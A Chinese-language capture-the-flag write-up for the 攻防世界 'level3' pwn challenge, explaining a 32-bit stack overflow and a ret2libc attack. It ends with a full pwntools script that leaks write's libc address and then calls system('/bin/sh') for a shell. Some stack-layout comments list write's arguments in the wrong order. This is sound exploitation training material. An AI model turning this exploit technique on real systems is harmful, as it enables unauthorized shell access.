[[攻防世界-Pwn-level3]]
解题思路:
泄露或修改内存数据:
- 堆地址:无需
- 栈地址:[[Stack上函数传参]]
- libc地址:[[利用got表和plt表泄露数据]]
- BSS段地址:无需
劫持程序执行流程:[[ret2libc(栈溢出调用任意函数)]]
获得shell或flag:[[调用libc中的system]]
学到的知识:
通过栈溢出将本来只可运行一次的溢出漏洞经行多次利用
[[一次调用多个函数的ROP链]]
学习到如何获得libc偏移:
- 在线查询libc版本的网站:[https://libc.blukat.me/]
- 一个python项目
LibcSearcher
[[LibcSearcher的使用]]
题目信息:
┌──(kali㉿kali)-[~/Desktop]
└─$ file level3
level3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44a438e03b4d2c1abead90f748a4b5500b7a04c7, not stripped
┌──(kali㉿kali)-[~/Desktop]
└─$ checksec --file=level3
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 69) Symbols No 0 1level3
libc版本:
wp借鉴:
核心伪代码分析:
存在利用的的代码:
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF
write(1, "Input:\n", 7u);
return read(0, buf, 0x100u);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}
分析:
是一个简单的输入且有回复的程序,其中return read(0, buf, 0x100u);
可以输入大量字符,且程序未开启栈溢出保护,所以可以使用Read
漏洞实现栈溢出,且该程序无后门函数需要先将计算机中的函数地址泄露出来,再进行攻击。所以需要用到两次Read
栈溢出漏洞,第一次先泄露任意函数地址,且将返回地址设置为main(以便第二此利用漏洞),在获取函数地址后,计算出sytem和“/bin/sh”的地址,并第二次利用栈溢出漏洞。即可获得主机权限。
1. 泄露或修改内存数据
存在的漏洞利用点:return read(0, buf, 0x100u);
通过IDA获取溢出点:距离为0x8c
-00000088 buf db 136 dup(?)
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
通过GDB获取libc库函数地址:
0x8048310: read@plt
0x8048340: write@plt
0x804A018:write@got
.got.plt:0804A018 off_804A018 dd offset write ; DATA XREF: _write↑r
2. 劫持程序执行流程
首先计算出栈溢出的位置,再调用write函数输出函数地址,并且要在泄露地址后再次利用栈溢出漏洞。且该程序为32位,将参数布置在栈上即可。
因此第一次利用漏洞时的布栈结构为:
ebp + 4 | 调用write函数(write@plt)
| 存储调用函数后的返回地址(使用主函数地址或者漏洞所在地址)
| write的第3参数(1)-》输出流参数
| write的第2参数(write@got)-》write的地址
| write的第1参数(6)-》输出的字节数
在获取write函数地址后,通过资料查询,获取write函数,system函数,”/bin/sh“参数与基地址的偏移量,从而进行第二次布栈。
因此第二次利用漏洞时的布栈结构为:
ebp + 4 | 调用system函数(system_addr)
| 返回地址(第二次布栈不需返回地址)
| “/bin/sh”的地址(bin_sh_addr)
3. 获得shell
脚本:
from pwn import *
context(log_level='debug',arch='i386',os='linux')
pwnfile='./level3'
sh = process(pwnfile)
#sh=remote("111.200.241.244",54369)
elf = ELF(pwnfile)
#elf_lic = ELF('./libc_32.so.6')
rec1=b'Input:\n'
rec2=b'Hello, World!\n'
write_plt=elf.plt['write']
print("write_plt:",hex(write_plt))
write_got=elf.got['write']
main_addr=elf.symbols['main']
#gdb.attach(sh)
payload1=b'a'*0x8c+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(6)
sh.recvuntil(rec1)
sh.sendline(payload1)
write_addr=u32(sh.recv(4))
print("write:",hex(write_addr))
#远程
'''
base_addr=write_addr-0xd43c0
print("base_addr=:",hex(base_addr))
bin_sh_addr=base_addr+0x15902b
print("bin_sh_addr:",hex(bin_sh_addr))
system_addr=base_addr+0x3a940
print("system_addr:",hex(system_addr))
'''
#本地
base_addr=write_addr-0xd4d50
print("base_addr=:",hex(base_addr))
bin_sh_addr=base_addr+0x172b62
print("bin_sh_addr:",hex(bin_sh_addr))
system_addr=base_addr+0x27d00
print("system_addr:",hex(system_addr))
payload2=b'a'*0x8c+p32(system_addr)+p32(1)+p32(bin_sh_addr)
sh.send(payload2)
sh.interactive()